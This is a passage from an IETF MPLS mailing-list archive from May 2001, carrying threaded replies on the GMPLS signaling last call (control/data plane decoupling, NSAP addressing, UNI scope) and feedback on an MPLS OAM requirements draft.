> > Hi Dimitri,
> >    Sorry - missed your first question.  I was not referring to an NNI
> > OIF team; I was referring to the IETF team being formed.
> >                          Eve
> >
> > Dimitri Papadimitriou wrote:
> > >
> > > Hi,
> > >
> > > In this e-mail you speak about a "Requirements Design Team"
> > > do you refer to the NNI OIF project here i guess ?
> > >
> > > I wouldn't like to (re-)explain here the nice "reception" offered
> > > during the San Diego IETF meeting on the BT draft. Moreover, what's
> > > sound very strange here is that the author himself didn't present
> > > his draft during the last IETF meeting (since there was a -01 version)!
> > > Are you serious when you speak about ASON UNI requirements at the
> > > IETF ?
> > >
> > > You speak about GMPLS profiles for the UNI at the OIF, and potentially
> > > in the future for ASTN/ASON which are completely independent of the
> > > current GMPLS specification (self-consistency). We don't taylor a
> > > protocol suite based on the model to which we have to apply it since
> > > if the model change - you have to re-design your protocol ! -. Today
> > > GMPLS can be accomodated to any UNI/NNI interfaces coming from
> > > wherever you want. Why ? Because from the beginning it is a model
> > > independent specification ! By defining the profile you desire you
> > > can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
> > > don't spend to many time at the OIF to define the architecture it is
> > > already done...
> > >
> > > Now you mention one question which is under discussion about the
> > > correlation between the planes... the good point is that with the
> > > current work done at the IETF and OIF a solution will be found.
> > > However this does not mean AT ALL that the current GMPLS
> > > specifications are not going toward a very good direction. Therefore
> > > i don't think we need the additional text as you propose. In fact this
> > > is clearly an extended problem of the "restoration" issue already
> > > discussed on this mailing list and we already agree upon.
> > >
> > > Thanks,
> > > - Dimitri.
> > >
> > > Eve Varma wrote:
> > > >
> > > > Hi all,
> > > >
> > > > Watching the various emails regarding the GMPLS drafts, I see several
> > > > issues being raised related to some concerns that service provider
> > > > requirements haven't been sufficiently reflected in the GMPLS signaling
> > > > specifications - or at least, not been tested against.  (An initial set
> > > > of requirements was provided by BT on
> > > > Considerations on the development of an Optical Control Plane -
> > > > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > > > Monica has mentioned other currently available sources of service
> > > > provider requirements as well, such as the Carriers Optical Services
> > > > Framework and Associated Requirements for the UNI, developed in the OIF
> > > > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > > > earlier in the draft Requirements on the ASON UNI -
> > > > http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > > > )
> > > >
> > > > For example, assuring separation of the control plane from the data
> > > > plane continues to arise - the GMPLS architecture document mentions this
> > > > separation, but it's not clear how the GMPLS signaling specifications
> > > > reflect the implications of this decoupling.  This is best illustrated
> > > > in the handling of control plane failures.  In particular, what happens
> > > > to established circuit connections if the control plane fails? If the
> > > > control plane recovers, how do we sync the connection state?  As an
> > > > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > > > the reservation state in routers and hosts. RSVP soft state is created
> > > > and periodically refreshed by Path and Resv messages. The state is
> > > > deleted if no matching refresh messages arrive before the expiration of
> > > > a "cleanup timeout" interval." This means that if for whatever reason
> > > > control messages are lost, the associated data paths will be released.
> > > > Thus there is strong failure correlation between the control plane and
> > > > data plane, which is inconsistent with the GMPLS architecture document,
> > > > and also results in tearing down optical connections resulting from even
> > > > temporary failures in the control plane.
> > > >
> > > > I also understand the other comments from Hirokazu and Shehzad re
> > > > exclusion of NSAP, having been at the last OIF meeting where there was
> > > > considerable and spirited discussion of this issue.  The current GMPLS
> > > > architecture document specifically excludes NSAP, and from the last OIF
> > > > meeting 6 out of 12 operators discussing this issue felt there was some
> > > > need to support NSAP addressing.
> > > >
> > > > Given that the Requirements Design Team will be starting shortly, I
> > > > concur with Yuri's suggestion for inclusion of a clear statement of what
> > > > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > > > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > > > provided below (the intro will need to be tailored to each draft):
> > > >
> > > > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > > > and other protocols to enable their applicability to various switching
> > > > technologies.   A key motivating application has been applicability to
> > > > support a distributed control plane for various circuit-switching
> > > > technologies.   The signaling specifications contained within the these
> > > > drafts offer a starting point towards this goal; their current scope and
> > > > applicability, and areas for further assessment, are summarized below:
> > > >
> > > > These drafts provide some extensions to traditional MPLS signaling and
> > > > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > > > standard track documents) have not been modified.   It is noted that
> > > > MPLS signaling has been designed with a focus upon packet-switched
> > > > network based applications, utilizing  requirements and architectural
> > > > constructs suitable for such applications.   There may be significant
> > > > distinguishing characteristics with regard to requirements and
> > > > architectural considerations  for a distributed control plane that
> > > > supports circuit-switched network applications.  One well acknowledged
> > > > instance involves the decoupling of the control plane from the data
> > > > plane.  Such differences may have substantive impact on the signaling
> > > > mechanisms, the details of which require further study.  In addition,
> > > > upon further study of operational requirements and circuit-switching
> > > > technology specific aspects, further signaling extensions may be
> > > > required.
> > > >
> > > > These drafts are focussed upon intra-area signaling interfaces, and do
> > > > not address issues and considerations related to other domains of
> > > > usage.   Applicability to inter-area and inter-domain interfaces
> > > > requires further study."
> > > >
> > > > Hope this helps us move forward.
> > > >
> > > > Cheers,
> > > >   Eve
> > > >
> > > > itu
> > > >
> > > > shehzad.mirza@bt.com wrote:
> > > > >
> > > > > Hi,
> > > > >
> > > > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > > > > drafts.
> > > > >
> > > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > > stated.
> > > > >
> > > > > This decoupling clearly has an impact on how the protocols should be defined
> > > > > to cope with control plane failures.
> > > > >
> > > > > (2) Exclusion of NSAP
> > > > >
> > > > > The GMPLS architecture document, (which logically speaking should perhaps
> > > > > have been put forward for last call, ahead of the functional description)
> > > > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > > > communications channels (DCC bytes) therefore the use of alternative
> > > > > addressing within the same channels may have an adverse effect on
> > > > > interworking with legacy equipment, particularly with regard to management.
> > > > > This raises the general concern of what level of compatibility is
> > > > > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > > > > to be contentious, is unavoidable as the interworking of control plane,
> > > > > management plane and transport will have a direct impact on how this
> > > > > equipment is deployed and the economics of whether such deployments will
> > > > > ever pay off.
> > > > >
> > > > > (3) Requirements from both security and OSS has not been discussed fully
> > > > > yet.
> > > > >
> > > > > Security concerns have not been fully addressed, particularly at the
> > > > > architectural level.  The use of separate control network may necessitate
> > > > > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > > > > currently happens for IP router networks.  The interaction between the
> > > > > management plane and control plane need to be addressed, for example it is
> > > > > undesirable to have multiple alarms generated when circuits are created and
> > > > > torn down otherwise the management of a large scale network will become
> > > > > impossible.  Discussions on service aspects need to take place, otherwise
> > > > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > > > concerns.
> > > > >
> > > > > Best regards
> > > > >
> > > > > Shehzad Mirza
> > > > >
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > > > Sent: 29 May 2001 02:46
> > > > > > To:   George Swallow; ccamp; mpls
> > > > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > > > >
> > > > > > Hi,
> > > > > >
> > > > > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > > > > are as follows:
> > > > > >
> > > > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > > >      stated.
> > > > > > (2) Exclusion of NSAP
> > > > > > (3) Requirements from both security and OSS (Operating Support System)
> > > > > >      has not been discussed fully yet.
> > > > > >
> > > > > > Best regards,
> > > > > > Hirokazu Ishimatsu
> > > > > > Japan Telecom
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > > > Behalf Of George Swallow
> > > > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > > > Subject: GMPLS Last Calls
> > > > > > >
> > > > > > >
> > > > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > > > >
> > > > > > > The drafts are:
> > > > > > >
> > > > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > > > >
> > > > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > > > >
> > > > > > >
> > > > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > > > >
> > > > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > > > >
> > > > > > >
> > > > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > > > >
> > > > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > > > >
> > > > > > >
> > > > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > > > >
> > > > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > > > >
> > > > > > >
> > > > > > > The last call closes May 29, 12 pm GMT.
> > > > > > >
> > > > > > >
> > > > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > > > >
> > > > > > >
> > > > > > > ======================================================================
> > > > > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > > > > >                      250 Apollo Drive
> > > > > > >                      Chelmsford, Ma 01824
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > IP-Optical mailing list
> > > > > > IP-Optical@lists.bell-labs.com
> > > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >
> > > > > _______________________________________________
> > > > > IP-Optical mailing list
> > > > > IP-Optical@lists.bell-labs.com
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical


From owner-mpls@UU.NET  Tue May 29 17:49:45 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11753
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 17:49:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdv20592;
	Tue, 29 May 2001 21:50:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdv01154
	for mpls-outgoing; Tue, 29 May 2001 21:49:09 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdv01142
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 21:48:46 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrdv21719
	for <mpls@UU.NET>; Tue, 29 May 2001 21:48:14 GMT
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkrdv24795
	for <mpls@UU.NET>; Tue, 29 May 2001 21:48:13 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4TLlsb07627;
	Tue, 29 May 2001 23:47:54 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A5B.0077B629; Tue, 29 May 2001 23:47:34 +0200
Message-ID: <3B1418F0.4205E9BD@alcatel.be>
Date: Tue, 29 May 2001 23:47:28 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Eve Varma <evarma@lucent.com>
CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com> <3B14093F.ED016D1A@alcatel.be> <3B140F47.2805D577@hotair.hobl.lucent.com>
Content-Type: multipart/mixed;
 boundary="------------93BC902C1D9A45DC41894277"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------93BC902C1D9A45DC41894277
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello Eve,

I think there is a section dedicated to the UNI within the
GMPLS Architecture document (see section 7. UNI and NNI)... 
please re-read carefully the document it might be useful 
before the OIF NNI conference-call. This is a demonstration 
of my previous statement: "Today GMPLS specification can be 
accomodated to any UNI/NNI interfaces coming from wherever 
you want"

Kind Regards,
Dimitri. 

Eve Varma wrote:
> 
> Hi Dimitri,
> 
>    Sorry, I'm a bit confused by your response. My input is based upon
> looking at the email flying around. I tried to cite some requirements
> from different sources related to the optical control plane that could
> be used for input, as they have started to be discussed on the mailing
> list.  The GMPLS arch document does mention UNI also, so I think the
> input from the documents related to UNI are also relevant.  Re the BT
> document, you'll have to ask the BT authors.
> 
>                                   Eve
> 
> Dimitri Papadimitriou wrote:
> >
> > Hi,
> >
> > In this e-mail you speak about a "Requirements Design Team"
> > do you refer to the NNI OIF project here i guess ?
> >
> > I wouldn't like to (re-)explain here the nice "reception" offered
> > during the San Diego IETF meeting on the BT draft. Moreover, what's
> > sound very strange here is that the author himself didn't present
> > his draft during the last IETF meeting (since there was a -01 version)!
> > Are you serious when you speak about ASON UNI requirements at the
> > IETF ?
> >
> > You speak about GMPLS profiles for the UNI at the OIF, and potentially
> > in the future for ASTN/ASON which are completely independent of the
> > current GMPLS specification (self-consistency). We don't taylor a
> > protocol suite based on the model to which we have to apply it since
> > if the model change - you have to re-design your protocol ! -. Today
> > GMPLS can be accomodated to any UNI/NNI interfaces coming from
> > wherever you want. Why ? Because from the beginning it is a model
> > independent specification ! By defining the profile you desire you
> > can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
> > don't spend to many time at the OIF to define the architecture it is
> > already done...
> >
> > Now you mention one question which is under discussion about the
> > correlation between the planes... the good point is that with the
> > current work done at the IETF and OIF a solution will be found.
> > However this does not mean AT ALL that the current GMPLS
> > specifications are not going toward a very good direction. Therefore
> > i don't think we need the additional text as you propose. In fact this
> > is clearly an extended problem of the "restoration" issue already
> > discussed on this mailing list and we already agree upon.
> >
> > Thanks,
> > - Dimitri.
> >
> > Eve Varma wrote:
> > >
> > > Hi all,
> > >
> > > Watching the various emails regarding the GMPLS drafts, I see several
> > > issues being raised related to some concerns that service provider
> > > requirements haven't been sufficiently reflected in the GMPLS signaling
> > > specifications - or at least, not been tested against.  (An initial set
> > > of requirements was provided by BT on
> > > Considerations on the development of an Optical Control Plane -
> > > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > > Monica has mentioned other currently available sources of service
> > > provider requirements as well, such as the Carriers Optical Services
> > > Framework and Associated Requirements for the UNI, developed in the OIF
> > > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > > earlier in the draft Requirements on the ASON UNI -
> > > http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > > )
> > >
> > > For example, assuring separation of the control plane from the data
> > > plane continues to arise - the GMPLS architecture document mentions this
> > > separation, but it's not clear how the GMPLS signaling specifications
> > > reflect the implications of this decoupling.  This is best illustrated
> > > in the handling of control plane failures.  In particular, what happens
> > > to established circuit connections if the control plane fails? If the
> > > control plane recovers, how do we sync the connection state?  As an
> > > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > > the reservation state in routers and hosts. RSVP soft state is created
> > > and periodically refreshed by Path and Resv messages. The state is
> > > deleted if no matching refresh messages arrive before the expiration of
> > > a "cleanup timeout" interval." This means that if for whatever reason
> > > control messages are lost, the associated data paths will be released.
> > > Thus there is strong failure correlation between the control plane and
> > > data plane, which is inconsistent with the GMPLS architecture document,
> > > and also results in tearing down optical connections resulting from even
> > > temporary failures in the control plane.
> > >
> > > I also understand the other comments from Hirokazu and Shehzad re
> > > exclusion of NSAP, having been at the last OIF meeting where there was
> > > considerable and spirited discussion of this issue.  The current GMPLS
> > > architecture document specifically excludes NSAP, and from the last OIF
> > > meeting 6 out of 12 operators discussing this issue felt there was some
> > > need to support NSAP addressing.
> > >
> > > Given that the Requirements Design Team will be starting shortly, I
> > > concur with Yuri's suggestion for inclusion of a clear statement of what
> > > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > > provided below (the intro will need to be tailored to each draft):
> > >
> > > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > > and other protocols to enable their applicability to various switching
> > > technologies.   A key motivating application has been applicability to
> > > support a distributed control plane for various circuit-switching
> > > technologies.   The signaling specifications contained within the these
> > > drafts offer a starting point towards this goal; their current scope and
> > > applicability, and areas for further assessment, are summarized below:
> > >
> > > These drafts provide some extensions to traditional MPLS signaling and
> > > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > > standard track documents) have not been modified.   It is noted that
> > > MPLS signaling has been designed with a focus upon packet-switched
> > > network based applications, utilizing  requirements and architectural
> > > constructs suitable for such applications.   There may be significant
> > > distinguishing characteristics with regard to requirements and
> > > architectural considerations  for a distributed control plane that
> > > supports circuit-switched network applications.  One well acknowledged
> > > instance involves the decoupling of the control plane from the data
> > > plane.  Such differences may have substantive impact on the signaling
> > > mechanisms, the details of which require further study.  In addition,
> > > upon further study of operational requirements and circuit-switching
> > > technology specific aspects, further signaling extensions may be
> > > required.
> > >
> > > These drafts are focussed upon intra-area signaling interfaces, and do
> > > not address issues and considerations related to other domains of
> > > usage.   Applicability to inter-area and inter-domain interfaces
> > > requires further study."
> > >
> > > Hope this helps us move forward.
> > >
> > > Cheers,
> > >   Eve
> > >
> > > itu
> > >
> > > shehzad.mirza@bt.com wrote:
> > > >
> > > > Hi,
> > > >
> > > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > > > drafts.
> > > >
> > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > stated.
> > > >
> > > > This decoupling clearly has an impact on how the protocols should be defined
> > > > to cope with control plane failures.
> > > >
> > > > (2) Exclusion of NSAP
> > > >
> > > > The GMPLS architecture document, (which logically speaking should perhaps
> > > > have been put forward for last call, ahead of the functional description)
> > > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > > communications channels (DCC bytes) therefore the use of alternative
> > > > addressing within the same channels may have an adverse effect on
> > > > interworking with legacy equipment, particularly with regard to management.
> > > > This raises the general concern of what level of compatibility is
> > > > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > > > to be contentious, is unavoidable as the interworking of control plane,
> > > > management plane and transport will have a direct impact on how this
> > > > equipment is deployed and the economics of whether such deployments will
> > > > ever pay off.
> > > >
> > > > (3) Requirements from both security and OSS has not been discussed fully
> > > > yet.
> > > >
> > > > Security concerns have not been fully addressed, particularly at the
> > > > architectural level.  The use of separate control network may necessitate
> > > > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > > > currently happens for IP router networks.  The interaction between the
> > > > management plane and control plane need to be addressed, for example it is
> > > > undesirable to have multiple alarms generated when circuits are created and
> > > > torn down otherwise the management of a large scale network will become
> > > > impossible.  Discussions on service aspects need to take place, otherwise
> > > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > > concerns.
> > > >
> > > > Best regards
> > > >
> > > > Shehzad Mirza
> > > >
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > > Sent: 29 May 2001 02:46
> > > > > To:   George Swallow; ccamp; mpls
> > > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > > >
> > > > > Hi,
> > > > >
> > > > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > > > are as follows:
> > > > >
> > > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > > >      stated.
> > > > > (2) Exclusion of NSAP
> > > > > (3) Requirements from both security and OSS (Operating Support System)
> > > > >      has not been discussed fully yet.
> > > > >
> > > > > Best regards,
> > > > > Hirokazu Ishimatsu
> > > > > Japan Telecom
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > > Behalf Of George Swallow
> > > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > > Subject: GMPLS Last Calls
> > > > > >
> > > > > >
> > > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > > >
> > > > > > The drafts are:
> > > > > >
> > > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > > >
> > > > > >
> > > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > > >
> > > > > >
> > > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > > >
> > > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > > >
> > > > > >
> > > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > > >
> > > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > > >
> > > > > >
> > > > > > The last call closes May 29, 12 pm GMT.
> > > > > >
> > > > > >
> > > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > > >
> > > > > >
> > > > > > ======================================================================
> > > > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > > > >                      250 Apollo Drive
> > > > > >                      Chelmsford, Ma 01824
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > >
> > > > > _______________________________________________
> > > > > IP-Optical mailing list
> > > > > IP-Optical@lists.bell-labs.com
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
--------------93BC902C1D9A45DC41894277
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------93BC902C1D9A45DC41894277--



From owner-mpls@UU.NET  Tue May 29 17:56:35 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA11873
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 17:56:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdv28868;
	Tue, 29 May 2001 21:56:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdv01862
	for mpls-outgoing; Tue, 29 May 2001 21:56:22 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrdv01854
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 21:56:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdv12799
	for <mpls@UU.NET>; Tue, 29 May 2001 21:55:44 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQkrdv25084
	for <mpls@UU.NET>; Tue, 29 May 2001 21:55:43 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TLthX02323
	for <mpls@UU.NET>; Tue, 29 May 2001 17:55:43 -0400 (EDT)
Received: from md6370exch001p.wins.lucent.com (h135-114-206-50.lucent.com [135.114.206.50])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TLtgw02309
	for <mpls@UU.NET>; Tue, 29 May 2001 17:55:42 -0400 (EDT)
Received: by md6370exch001p.nse.lucent.com with Internet Mail Service (5.5.2650.21)
	id <H246W242>; Tue, 29 May 2001 17:55:41 -0400
Message-ID: <BD842AF47D98D311BFC400508B5EBB8D016B47D3@md6370exch003u.nse.lucent.com>
From: "Natale, Robert C (Bob)" <bnatale@lucent.com>
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'"
	 <te-wg@ops.ietf.org>
Subject: RE: draft-harrison-mpls-oam-req-00.txt
Date: Tue, 29 May 2001 17:55:33 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Shahram and the rest of the authors of this ID,

First, I do applaud the initiative and the effort invested in
this work...I think it is a very important topic for the WG to
address.  However, I do wish to offer some feedback -- hopefully
you will see it as constructive -- for further consideration.

1.  I am curious as to why you address "OAM" only, rather than
    "OAM&P".  It seems to me that -- over and above being
    important in its own right -- provisioning capabilities may
    be extremely helpful to realizing some of the "motivations"
    and satisfying some of the requirements you cite.

2.  I am somewhat skeptical about the focus on the user-plane
    versus the control-plane, management-plane, and interface(s)
    between the latter two.  Ensuring that we design control-
    plan capabilities and functionality to proactively avoid
    (minimize) the kinds of (legitimate) worries expressed in
    your "Motivations" #3 and #4, for example, should be a
    high priority for us.

3.  I am very skeptical about the focus on "tools" versus
    "capabilities", "features", "protocols", "interfaces" and
    so forth...you use "mechanisms" at one point and that is
    ok with me.  "Tools" sound like things we let the marketplace
    develop and deploy in response to the specs we design...?

4.  For example, in your "Requirements" section, the concluding
    sentence of #2 says: "It is necessary that be detected and
    notified automatically without operator intervention for this
    purpose."  I agree completely.  However, I read that as a
    strong mandate for control-plane capabilities.

5.  Wrt "Requirements" #4, scalability should mean "cost-
    effectively in smaller-scale networks" as well as
    "stably [or whatever] in large-scale networks".

6.  "Requirements" #6 sounds very close to app-level design
    (as do some other parts of the document).  While I agree
    with most of the objectives stated in this respect, it is
    an area that the IETF traditionally leaves to others to
    resolve.

7.  "Requirements" #7 *seems* to be written from the wrong
    perspective.  That is, it is not that "LSRs that do not
    support such functions must silently discard..." but
    rather that any specified new protocol features must not
    disrupt traffic processing in LSRs that do not support
    the features.  The intended outcome is the same, I know...
    but the suggested perspective will help to ensure that
    no backwards-incompatible features are introduced --
    unless they are consciously intended.

8.  "Requirements" #8 (measurements) seems like another clear
    example of control-plane functionality to me...ditto for
    #13 (failure detection).

9.  I also found some of the general wording (e.g., the various
    uses of "layer network") to be confusing, but that might
    just reflect lack of familiarity on my part.

In sum, I think this is important work and that it needs to be
expanded (to cover "OAM&P") and honed more toward control-plane
features and the control-plane/management-plane interface(s).

Thanks,

BobN

> -----Original Message-----
> From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> Sent: Friday, May 18, 2001 6:32 PM
> To: 'internet-drafts@ietf.org'
> Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'
> Subject: draft-harrison-mpls-oam-req-00.txt
> 
> 
> Hi,
> 
> Please post the attached draft.
> 
> Summary:
> 
> This draft provides motivation and requirements for user-plane OAM 
> (Operation and Maintenance) functionality in MPLS networks.
>  
> Motivation for this recommendation rose from Network operators' need 
> or tools that ensure reliability and performance of MPLS LSPs 
> (Label Switched Paths). User-plane OAM tools are required to verify 
> that LSPs have been setup and are available to deliver customer data 
> to target destinations according to QoS (Quality of Service) 
> guarantees given in SLAs (Service Level Agreements). 
>     
> Requirements presented in this draft include but are not limited to: 
>     
>  . Tools to efficiently detect and localize defects in MPLS layer 
>  . Mechanisms for fast defect notification 
>  . Availability and performance criteria 
>  . Trigger for corrective actions (e.g. protection switching) when 
>      failures occur. 
> 
> 
> Regards,
> -Shahram Davari
> 
>  <<draft-harrison-mpls-oam-req-00.txt>> 
> 


From owner-mpls@UU.NET  Tue May 29 18:45:45 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA12293
